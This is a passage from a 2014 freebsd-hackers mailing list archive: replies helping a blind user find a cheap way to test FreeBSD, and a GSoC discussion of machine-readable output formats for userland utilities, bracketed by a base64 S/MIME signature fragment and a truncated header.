YXRpb24gQXV0aG9yaXR5MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAwYjbCbxsRnx4 n5V7tTOQ8nJi1sE2ICIkXs7pd/JDCqIGZKTMjjb4OOYj8G5tsTzdcqOFHKHTPbQzK9Mvr/7qsEFZ Z7bEBn0KnnSF1nlMgDd63zkFUln39BtGQ6TShYXSw3HzdWI0uiyKfx6P7u000BHHls1SPboz1t1N 3gs7SkufwiYv+rUWHHI1d8o8XebK4SaLGjZ2XAHbdBQl/u21oIgP3XjKLR8HlzABLXJ5+kbWEyqo uaarg0kd5fLv3eQBjhgKj2NTFoViqQ4ZOsy1ZqbCa3QH5Cvhdj60bdj2ROFzYh87xL6gU1YlbFEJ 96qryr92/W2b853bvz1mvAxWqq+YSJU6S9+nWFDZOHWpW+pDDAL/mevobE1wWyllnN2qXcyvATHs DOvSjejqnHvmbvcnZgwaSNduQuM/3iE+e+ENcPtjqqhsGlS0XCV6yaLJixamuyx+F14FTVhuEh0B 7hIQDcYyfxj//PT6zW6R6DZJvhpIaYvClk0aErJpF8EKkNb6eSJIv7p7afhwx/p6N9jYDdJ2T1f/ kLfjkdLd78Jgt2c63f6qnPDUi39yIs7Gn5e2+K+KoBCo2fsYxra1XFI8ibYZKnMBCg8DsxJg8nov gdujbv8mMJf1i92JV7atPbOvK8W3dgLwpdYrmoYUKnL24zOMXQlLE9+7jHQTUksCAwEAAaOCAlIw ggJOMAwGA1UdEwQFMAMBAf8wCwYDVR0PBAQDAgGuMB0GA1UdDgQWBBROC+8apEBbpRdphzDKNGhD 0EGu8jBkBgNVHR8EXTBbMCygKqAohiZodHRwOi8vY2VydC5zdGFydGNvbS5vcmcvc2ZzY2EtY3Js LmNybDAroCmgJ4YlaHR0cDovL2NybC5zdGFydGNvbS5vcmcvc2ZzY2EtY3JsLmNybDCCAV0GA1Ud IASCAVQwggFQMIIBTAYLKwYBBAGBtTcBAQEwggE7MC8GCCsGAQUFBwIBFiNodHRwOi8vY2VydC5z dGFydGNvbS5vcmcvcG9saWN5LnBkZjA1BggrBgEFBQcCARYpaHR0cDovL2NlcnQuc3RhcnRjb20u b3JnL2ludGVybWVkaWF0ZS5wZGYwgdAGCCsGAQUFBwICMIHDMCcWIFN0YXJ0IENvbW1lcmNpYWwg KFN0YXJ0Q29tKSBMdGQuMAMCAQEagZdMaW1pdGVkIExpYWJpbGl0eSwgcmVhZCB0aGUgc2VjdGlv biAqTGVnYWwgTGltaXRhdGlvbnMqIG9mIHRoZSBTdGFydENvbSBDZXJ0aWZpY2F0aW9uIEF1dGhv cml0eSBQb2xpY3kgYXZhaWxhYmxlIGF0IGh0dHA6Ly9jZXJ0LnN0YXJ0Y29tLm9yZy9wb2xpY3ku cGRmMBEGCWCGSAGG+EIBAQQEAwIABzA4BglghkgBhvhCAQ0EKxYpU3RhcnRDb20gRnJlZSBTU0wg Q2VydGlmaWNhdGlvbiBBdXRob3JpdHkwDQYJKoZIhvcNAQEFBQADggIBABZsmfRmDDT10IVefQrs 2hBOOBxe36YlBUuRMsHoO/E93UQJWwdJiinLZgK3sZr3JZgJPI4b4d02hytLu2jTOWY9oCbH8jmR HVGrgnt+1c5a5OIDV3Bplwj5XlimCt+MBppFFhY4Cl5X9mLHegIF5rwetfKe9Kkpg/iyFONuKIdE w5Aa3jipPKxDTWRFzt0oqVzyc3sE+Bfoq7HzLlxkbnMxOhK4vLMR5H2PgVGaO42J9E2TZns8A+3T mh2a82VQ9aDQdZ8vr/DqgkOY+GmciXnEQ45GcuNkNhKv9yUeOImQd37Da2q5w8tES6x4kIvnxywe SxFEyDRSJ80KXZ+FwYnVGnjylRBTMt2AhGZ12bVoKPthLr6EqDjAmRKGpR5nZK0GLi+pcIXHlg98 iWX1jkNUDqvdpYA5lGDANMmWcCyjEvUfSHu9HH5rt52Q9CI7rvj8Ksr6glKg769LVZPrwbXwIous NE4mIgShhyx1SrflfRPXuAxkwDbSyS+GEowjCcEbgjtzSaNqV4eU5dZ4xZlDY+NN4Hct4WWZcmkE GkcJ5g8BViT7H78OealYLrnECQF+lbptAAY+supKEDnY0Cv1v+x1v5cCxQkbCNxVN+KB+zeEQ2Ig yudWS2Xq/mzBJJMkoTTrBf+aIq6bfT/xZVEKpjBqs/SIHIAN/HKK6INeMYIDbzCCA2sCAQEwgZQw gYwxCzAJBgNVBAYTAklMMRYwFAYDVQQKEw1TdGFydENvbSBMdGQuMSswKQYDVQQLEyJTZWN1cmUg RGlnaXRhbCBDZXJ0aWZpY2F0ZSBTaWduaW5nMTgwNgYDVQQDEy9TdGFydENvbSBDbGFzcyAxIFBy aW1hcnkgSW50ZXJtZWRpYXRlIENsaWVudCBDQQIDBqKOMAkGBSsOAwIaBQCgggGvMBgGCSqGSIb3 DQEJAzELBgkqhkiG9w0BBwEwHAYJKoZIhvcNAQkFMQ8XDTE0MDUyMzA0MTUwNlowIwYJKoZIhvcN AQkEMRYEFLbkSCVx/E5AlsoQX7h/Txym0KwuMIGlBgkrBgEEAYI3EAQxgZcwgZQwgYwxCzAJBgNV BAYTAklMMRYwFAYDVQQKEw1TdGFydENvbSBMdGQuMSswKQYDVQQLEyJTZWN1cmUgRGlnaXRhbCBD ZXJ0aWZpY2F0ZSBTaWduaW5nMTgwNgYDVQQDEy9TdGFydENvbSBDbGFzcyAxIFByaW1hcnkgSW50 ZXJtZWRpYXRlIENsaWVudCBDQQIDBqKOMIGnBgsqhkiG9w0BCRACCzGBl6CBlDCBjDELMAkGA1UE BhMCSUwxFjAUBgNVBAoTDVN0YXJ0Q29tIEx0ZC4xKzApBgNVBAsTIlNlY3VyZSBEaWdpdGFsIENl cnRpZmljYXRlIFNpZ25pbmcxODA2BgNVBAMTL1N0YXJ0Q29tIENsYXNzIDEgUHJpbWFyeSBJbnRl cm1lZGlhdGUgQ2xpZW50IENBAgMGoo4wDQYJKoZIhvcNAQEBBQAEggEAN6r1ZH0rl1cDEC5Y1y2S RSd7z4RGb5lqvopuVzYH2qbviR1yqwN/lWmJjHWCn2nwpL2197NopsbF7b3B+6WWi4wcrZbY61k0 w1MKsbd31pngL0G/3xrZRZCOqUe6/M6xUcMuMzJPPsgfYLloV5yfkqg12HzIDcgaSWwV1LKEzbyg SehcvRYIyceuzQGKbgoLpQGTdDqL73M9GGvm/BParpeFlhvJazrYHFQJypj0FBb2ELm/XCS5FI/D 1hgVUzPn0Oc8hLOt3L48s8wsGuw2p53fSBLVxFzU5Mh82hrhMAFErUKnCxiXHBbr3SweP6KYgAv4 N7NxpVWfm5yw1HewrwAAAAAAAA== --Apple-Mail-E74B52B0-65CE-4853-975B-2A2A1048A5BA-- From owner-freebsd-hackers@FreeBSD.ORG Fri May 23 05:48:45 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 5F8FF6B4 for ; Fri, 23 May 2014 05:48:45 +0000 (UTC) Received: from tds-solutions.net (tds-solutions.net [192.99.32.153]) by mx1.freebsd.org (Postfix) with ESMTP id 371B82413 for ; Fri, 23 May 2014 05:48:45 +0000 (UTC) Received: from tds-solutions.net (localhost [127.0.0.1]) by tds-solutions.net (Postfix) with ESMTP id 32CA7FEE09; Fri, 23 May 2014 01:48:41 -0400 (EDT) X-Virus-Scanned: amavisd-new at tds-solutions.net Received: from tds-solutions.net ([127.0.0.1]) by tds-solutions.net (tds-solutions.net [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id zlMnJRmnCZ7M; Fri, 23 May 2014 01:48:40 -0400 (EDT) Received: from [192.168.1.35] (24-177-51-95.dhcp.oxfr.ma.charter.com [24.177.51.95]) (Authenticated sender: sorressean) by tds-solutions.net (Postfix) with ESMTPSA id AE409FECD2; Fri, 23 May 2014 01:48:40 -0400 (EDT) Message-ID: <537EE15C.3080509@tysdomain.com> Date: Fri, 23 May 2014 01:49:16 -0400 From: "Littlefield, Tyler" Reply-To: tyler@tysdomain.com User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.5.0 MIME-Version: 1.0 To: Erich Dollansky Subject: Re: looking for a platform for contributions References: <537EA775.6040601@tysdomain.com> <20140523114739.2a89a9b0@X220.alogt.com> In-Reply-To: <20140523114739.2a89a9b0@X220.alogt.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Cc: "freebsd-hackers@freebsd.org" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 23 May 2014 05:48:45 -0000 On 5/22/2014 11:47 PM, Erich Dollansky wrote: > Hi, > > On Thu, 22 May 2014 21:42:13 -0400 > "Littlefield, Tyler" wrote: > >> Hello all: >> I have a lot of free time and really wanted to start contributing to >> FreeBSD. I have one issue I was hoping someone could help: >> I am blind and am currently using a Soyoustart server for my main >> server after transitioning. I am currently a bit lost in terms of >> actually getting running with a bsd system. I obviously don't have >> the money to pay for a new dedicated server; are there reasonable >> hosts where I can just quickly reinstall BSD so I can test/etc? >> Obviously price is an issue. If not, is there a good resource where I >> can get a vmware VM that's already set up with 10/ssh or something >> similar? My only limitation right now is just getting something >> installed so I'm not "testing" on my stable server. >> > I use a simple thumb drive for testing when needed. The normal work is > done via the hard disk but the test installations are always done on a > removable media. > > Would this be of help for you? I'm not sure, but I'm leaning toward don't think so. Right now, the only way for me to actually install BSD is to get some form of sighted help from someone, either locally or remotely. The medium is less of an issue than the actual method for installation. Erich -- Take care, Ty http://tds-solutions.net He that will not reason is a bigot; he that cannot reason is a fool; he that dares not reason is a slave. From owner-freebsd-hackers@FreeBSD.ORG Fri May 23 05:50:50 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 558E6851 for ; Fri, 23 May 2014 05:50:50 +0000 (UTC) Received: from tds-solutions.net (tds-solutions.net [192.99.32.153]) by mx1.freebsd.org (Postfix) with ESMTP id 294DD249E for ; Fri, 23 May 2014 05:50:49 +0000 (UTC) Received: from tds-solutions.net (localhost [127.0.0.1]) by tds-solutions.net (Postfix) with ESMTP id D5F53FEE09; Fri, 23 May 2014 01:50:46 -0400 (EDT) X-Virus-Scanned: amavisd-new at tds-solutions.net Received: from tds-solutions.net ([127.0.0.1]) by tds-solutions.net (tds-solutions.net [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id wvxUDrL5h8Vp; Fri, 23 May 2014 01:50:46 -0400 (EDT) Received: from [192.168.1.35] (24-177-51-95.dhcp.oxfr.ma.charter.com [24.177.51.95]) (Authenticated sender: sorressean) by tds-solutions.net (Postfix) with ESMTPSA id 1A593FECD2; Fri, 23 May 2014 01:50:46 -0400 (EDT) Message-ID: <537EE1D9.3070509@tysdomain.com> Date: Fri, 23 May 2014 01:51:21 -0400 From: "Littlefield, Tyler" Reply-To: tyler@tysdomain.com User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.5.0 MIME-Version: 1.0 To: Jason Hellenthal , Erich Dollansky Subject: Re: looking for a platform for contributions References: <537EA775.6040601@tysdomain.com> <20140523114739.2a89a9b0@X220.alogt.com> <85255CE8-B2E8-4019-861C-A27903DB2331@dataix.net> In-Reply-To: <85255CE8-B2E8-4019-861C-A27903DB2331@dataix.net> Content-Type: text/plain; charset=UTF-8; format=flowed Content-Transfer-Encoding: 7bit X-Content-Filtered-By: Mailman/MimeDel 2.1.18 Cc: "freebsd-hackers@freebsd.org" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 23 May 2014 05:50:50 -0000 On 5/23/2014 12:15 AM, Jason Hellenthal wrote: > I cant imagine it'd be hard to create a fresh image already installed > and configure for you to start with. Only would need to know what the > requirements are. Type of machine and size of the first hard drive. I > could and would be willing to wrap up a 10-STABLE VMDK appliance for > virtual box if you'd like at no charge. > Thanks, I'll have to give that a look-see. I'd probably be hosting this on the IMac since it has all the resources and last I seen, virtualbox would literally crash voiceover (the screen reader on OSX). I'll see if there's something available that would allow me to bypass that. The help would be greatly appreciated, I'd just like to do the research before you put in the work on your end, so I'm not wasting anyone's time. Thanks, > -- > Jason Hellenthal > Voice: 95.30.17.6/616 > JJH48-ARIN > > On May 22, 2014, at 23:47, Erich Dollansky > > wrote: > >> Hi, >> >> On Thu, 22 May 2014 21:42:13 -0400 >> "Littlefield, Tyler" > > wrote: >> >>> Hello all: >>> I have a lot of free time and really wanted to start contributing to >>> FreeBSD. I have one issue I was hoping someone could help: >>> I am blind and am currently using a Soyoustart server for my main >>> server after transitioning. I am currently a bit lost in terms of >>> actually getting running with a bsd system. I obviously don't have >>> the money to pay for a new dedicated server; are there reasonable >>> hosts where I can just quickly reinstall BSD so I can test/etc? >>> Obviously price is an issue. If not, is there a good resource where I >>> can get a vmware VM that's already set up with 10/ssh or something >>> similar? My only limitation right now is just getting something >>> installed so I'm not "testing" on my stable server. >>> >> I use a simple thumb drive for testing when needed. The normal work is >> done via the hard disk but the test installations are always done on a >> removable media. >> >> Would this be of help for you? >> >> Erich >> _______________________________________________ >> freebsd-hackers@freebsd.org >> mailing list >> http://lists.freebsd.org/mailman/listinfo/freebsd-hackers >> To unsubscribe, send any mail to >> "freebsd-hackers-unsubscribe@freebsd.org >> " -- Take care, Ty http://tds-solutions.net He that will not reason is a bigot; he that cannot reason is a fool; he that dares not reason is a slave. From owner-freebsd-hackers@FreeBSD.ORG Fri May 23 06:20:24 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 3A14DDDD for ; Fri, 23 May 2014 06:20:24 +0000 (UTC) Received: from mail-wi0-x232.google.com (mail-wi0-x232.google.com [IPv6:2a00:1450:400c:c05::232]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id CA3682662 for ; Fri, 23 May 2014 06:20:23 +0000 (UTC) Received: by mail-wi0-f178.google.com with SMTP id cc10so305339wib.17 for ; Thu, 22 May 2014 23:20:22 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:reply-to:sender:in-reply-to:references:date:message-id :subject:from:to:cc:content-type; bh=aig5VicTSm8f6s2Pe+EI3Kw8YXQoHuJceMlr7S1ky7o=; b=SbHS+9jZyk5h9LdWDJuuY7HG1bP571pAgJL8faHORiQW1D68V/QXNhvXbgdCcc//8f +URTg0jCTaQR44eQ9uNgEr4F+r6v++MyyBV5j94ovZiqDaWwjPDbcBxOT6d09DlLmnm7 VZPShekTgp26vZlZbd0dQJSCWx/j/O0O72U6IKfPav8dk7zNtxpn1MpoBnIBJdQYR7PK Fty7hw6n4kvkat//9Xu3lYqmapMmnb0Bw+XRE4JQPYuHzLQw5QCl6OdPsRQWEmZmdbeV cOFJKhwOoKV1BB6OO+TPjvB1c9CnLLiUbMuopPwHEWSDev+dD2xEQis3XO6AKR0i3Nn0 TJ+g== MIME-Version: 1.0 X-Received: by 10.180.92.103 with SMTP id cl7mr1343460wib.26.1400826022025; Thu, 22 May 2014 23:20:22 -0700 (PDT) Reply-To: matt@ixsystems.com Sender: mattjeet@gmail.com Received: by 10.195.11.164 with HTTP; Thu, 22 May 2014 23:20:21 -0700 (PDT) In-Reply-To: <537EA775.6040601@tysdomain.com> References: <537EA775.6040601@tysdomain.com> Date: Thu, 22 May 2014 23:20:21 -0700 X-Google-Sender-Auth: 6J5Gl7cqz9WQ1Rh0jdYXh9lt3s4 Message-ID: Subject: Re: looking for a platform for contributions From: Matt Olander To: tyler@tysdomain.com Content-Type: text/plain; charset=UTF-8 Cc: "freebsd-hackers@freebsd.org" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 23 May 2014 06:20:24 -0000 Hello Ty, While you are considering how to get started, you can also try FreeBSD with a free shell account. Checkout http://nullshells.net and http://www.arbornet.org. I am sure there are many other free shell accounts available now but it has been years since I have looked around. Have fun! Cheers, -matt On Thu, May 22, 2014 at 6:42 PM, Littlefield, Tyler wrote: > Hello all: > I have a lot of free time and really wanted to start contributing to > FreeBSD. I have one issue I was hoping someone could help: > I am blind and am currently using a Soyoustart server for my main server > after transitioning. I am currently a bit lost in terms of actually getting > running with a bsd system. I obviously don't have the money to pay for a new > dedicated server; are there reasonable hosts where I can just quickly > reinstall BSD so I can test/etc? Obviously price is an issue. If not, is > there a good resource where I can get a vmware VM that's already set up with > 10/ssh or something similar? My only limitation right now is just getting > something installed so I'm not "testing" on my stable server. > > Thanks, > > -- > Take care, > Ty > http://tds-solutions.net > He that will not reason is a bigot; he that cannot reason is a fool; he that > dares not reason is a slave. > > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org" From owner-freebsd-hackers@FreeBSD.ORG Fri May 23 08:59:23 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 06273B60 for ; Fri, 23 May 2014 08:59:23 +0000 (UTC) Received: from h.highsecure.ru (mail6.highsecure.ru [IPv6:2a01:4f8:191:22a6::99]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id BE1EF23BF for ; Fri, 23 May 2014 08:59:22 +0000 (UTC) Received: from medway.cl.cam.ac.uk (medway.cl.cam.ac.uk [IPv6:2001:630:212:238:21c:c0ff:fe4b:2b85]) (using TLSv1 with cipher ECDHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) (Authenticated sender: vsevolod@highsecure.ru) by h.highsecure.ru (Postfix) with ESMTPSA id 3A74E30043F for ; Fri, 23 May 2014 10:58:30 +0200 (CEST) Message-ID: <537F0DD9.6090805@highsecure.ru> Date: Fri, 23 May 2014 09:59:05 +0100 From: Vsevolod Stakhov User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0 MIME-Version: 1.0 To: freebsd-hackers@freebsd.org Subject: Re: [GSoC] Machine readable output from userland utilities References: <49E9736E-AD14-4647-8B15-30603D01360C@mail.bg> In-Reply-To: <49E9736E-AD14-4647-8B15-30603D01360C@mail.bg> X-Enigmail-Version: 1.5.2 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 23 May 2014 08:59:23 -0000 On 20/05/14 17:59, Zaro Korchev wrote: > I'm working on the project "Machine readable output from userland > utilities" and I want to share my ideas and thoughts. > > Here is the wiki page of the project: > https://wiki.freebsd.org/SummerOfCode2014/MachineReadableFromUserlandUtils > > I'm planning to create a unified output abstraction in the form of a > library. The tools supporting the machine-readable output feature > will write output exclusively using the library. The exact output > format will be customizable. Several backend libraries (like libucl > and libnv) can be used to implement different formats. Such library > can either be compiled statically into each application or linked > dynamically (depending on space/performance/versioning and other > considerations). Each tool will have to be modified to support the > new output mechanism. These modifications could trivially be turned > on and off using a macro switch. One issue that must be considered is > how to manage long outputs since it may not be possible to store all > data in memory. This would happen rarely but can still be a problem. > Probably the easiest way to solve this is to add streamed dumping > capability into the underlying libraries. > > Do you have any suggestions or ideas? For libucl output I've used the following approach: - convert all output objects to ucl; - write custom emitter for human-readable output. Perhaps, it might be possible to do it in some unified way, then it is worth to think about output to: 1) some unified BSD/Posix compatible human readable output 2) libnv output (I'm not sure about arrays, however) 3) xml output (if someone needs it) -- Vsevolod Stakhov From owner-freebsd-hackers@FreeBSD.ORG Fri May 23 09:15:25 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id B95EBE0 for ; Fri, 23 May 2014 09:15:25 +0000 (UTC) Received: from elvis.mu.org (elvis.mu.org [192.203.228.196]) by mx1.freebsd.org (Postfix) with ESMTP id A78E02535 for ; Fri, 23 May 2014 09:15:25 +0000 (UTC) Received: from AlfredMacbookAir.local (c-76-21-10-192.hsd1.ca.comcast.net [76.21.10.192]) by elvis.mu.org (Postfix) with ESMTPSA id 5B7841A3C7D for ; Fri, 23 May 2014 02:15:19 -0700 (PDT) Message-ID: <537F11A9.8020504@mu.org> Date: Fri, 23 May 2014 02:15:21 -0700 From: Alfred Perlstein User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.5.0 MIME-Version: 1.0 To: freebsd-hackers@freebsd.org Subject: Re: [GSoC] Machine readable output from userland utilities References: <49E9736E-AD14-4647-8B15-30603D01360C@mail.bg> <537F0DD9.6090805@highsecure.ru> In-Reply-To: <537F0DD9.6090805@highsecure.ru> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 23 May 2014 09:15:25 -0000 On 5/23/14, 1:59 AM, Vsevolod Stakhov wrote: > On 20/05/14 17:59, Zaro Korchev wrote: >> I'm working on the project "Machine readable output from userland >> utilities" and I want to share my ideas and thoughts. >> >> Here is the wiki page of the project: >> https://wiki.freebsd.org/SummerOfCode2014/MachineReadableFromUserlandUtils >> >> I'm planning to create a unified output abstraction in the form of a >> library. The tools supporting the machine-readable output feature >> will write output exclusively using the library. The exact output >> format will be customizable. Several backend libraries (like libucl >> and libnv) can be used to implement different formats. Such library >> can either be compiled statically into each application or linked >> dynamically (depending on space/performance/versioning and other >> considerations). Each tool will have to be modified to support the >> new output mechanism. These modifications could trivially be turned >> on and off using a macro switch. One issue that must be considered is >> how to manage long outputs since it may not be possible to store all >> data in memory. This would happen rarely but can still be a problem. >> Probably the easiest way to solve this is to add streamed dumping >> capability into the underlying libraries. >> >> Do you have any suggestions or ideas? > For libucl output I've used the following approach: > - convert all output objects to ucl; > - write custom emitter for human-readable output. > > Perhaps, it might be possible to do it in some unified way, then it is > worth to think about output to: > > 1) some unified BSD/Posix compatible human readable output > 2) libnv output (I'm not sure about arrays, however) > 3) xml output (if someone needs it) > This is all very interesting. One point to note is that the intent is to have an output that is very consumable by modern scripting languages and modules. That would very likely be JSON output. -Alfred From owner-freebsd-hackers@FreeBSD.ORG Fri May 23 13:05:20 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 7EC93597 for ; Fri, 23 May 2014 13:05:20 +0000 (UTC) Received: from wojtek.tensor.gdynia.pl (wojtek.tensor.gdynia.pl [188.252.31.196]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id DA0CF2AC0 for ; Fri, 23 May 2014 13:05:19 +0000 (UTC) Received: from wojtek.tensor.gdynia.pl (localhost [127.0.0.1]) by wojtek.tensor.gdynia.pl (8.14.7/8.14.7) with ESMTP id s4NCh1OR024624; Fri, 23 May 2014 14:43:01 +0200 (CEST) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from localhost (wojtek@localhost) by wojtek.tensor.gdynia.pl (8.14.8/8.14.7/Submit) with ESMTP id s4NCh0bL024621; Fri, 23 May 2014 14:43:00 +0200 (CEST) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Date: Fri, 23 May 2014 14:43:00 +0200 (CEST) From: Wojciech Puchar To: Zaro Korchev Subject: Re: [GSoC] Machine readable output from userland utilities In-Reply-To: <49E9736E-AD14-4647-8B15-30603D01360C@mail.bg> Message-ID: References: <49E9736E-AD14-4647-8B15-30603D01360C@mail.bg> User-Agent: Alpine 2.00 (BSF 1167 2008-08-23) MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Greylist: Sender passed SPF test, not delayed by milter-greylist-4.4.3 (wojtek.tensor.gdynia.pl [127.0.0.1]); Fri, 23 May 2014 14:43:01 +0200 (CEST) Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 23 May 2014 13:05:20 -0000 ideas completely against unix simplicity. On Tue, 20 May 2014, Zaro Korchev wrote: > I'm working on the project "Machine readable output from userland utilities" and I want to share my ideas and thoughts. > > Here is the wiki page of the project: > https://wiki.freebsd.org/SummerOfCode2014/MachineReadableFromUserlandUtils > > I'm planning to create a unified output abstraction in the form of a library. The tools supporting the machine-readable output feature will write output exclusively using the library. The exact output format will be customizable. Several backend libraries (like libucl and libnv) can be used to implement different formats. > Such library can either be compiled statically into each application or linked dynamically (depending on space/performance/versioning and other considerations). > Each tool will have to be modified to support the new output mechanism. These modifications could trivially be turned on and off using a macro switch. > One issue that must be considered is how to manage long outputs since it may not be possible to store all data in memory. This would happen rarely but can still be a problem. Probably the easiest way to solve this is to add streamed dumping capability into the underlying libraries. > > Do you have any suggestions or ideas? > > > Thank you, > Zaro > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org" > > From owner-freebsd-hackers@FreeBSD.ORG Fri May 23 13:17:33 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id C76AD8D1 for ; Fri, 23 May 2014 13:17:33 +0000 (UTC) Received: from wojtek.tensor.gdynia.pl (wojtek.tensor.gdynia.pl [188.252.31.196]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 30AF32BAF for ; Fri, 23 May 2014 13:17:32 +0000 (UTC) Received: from wojtek.tensor.gdynia.pl (localhost [127.0.0.1]) by wojtek.tensor.gdynia.pl (8.14.7/8.14.7) with ESMTP id s4NDHG0N024741 for ; Fri, 23 May 2014 15:17:16 +0200 (CEST) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from localhost (wojtek@localhost) by wojtek.tensor.gdynia.pl (8.14.8/8.14.7/Submit) with ESMTP id s4NDHGji024738 for ; Fri, 23 May 2014 15:17:16 +0200 (CEST) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Date: Fri, 23 May 2014 15:17:16 +0200 (CEST) From: Wojciech Puchar To: freebsd-hackers@freebsd.org Subject: who pay for such webpages? Message-ID: User-Agent: Alpine 2.00 (BSF 1167 2008-08-23) MIME-Version: 1.0 Content-Type: TEXT/PLAIN; format=flowed; charset=US-ASCII X-Greylist: Sender passed SPF test, not delayed by milter-greylist-4.4.3 (wojtek.tensor.gdynia.pl [127.0.0.1]); Fri, 23 May 2014 15:17:16 +0200 (CEST) X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 23 May 2014 13:17:33 -0000 http://aboutthebsds.wordpress.com/ From owner-freebsd-hackers@FreeBSD.ORG Fri May 23 14:17:39 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 3E22FCD9 for ; Fri, 23 May 2014 14:17:39 +0000 (UTC) Received: from mail-ig0-x234.google.com (mail-ig0-x234.google.com 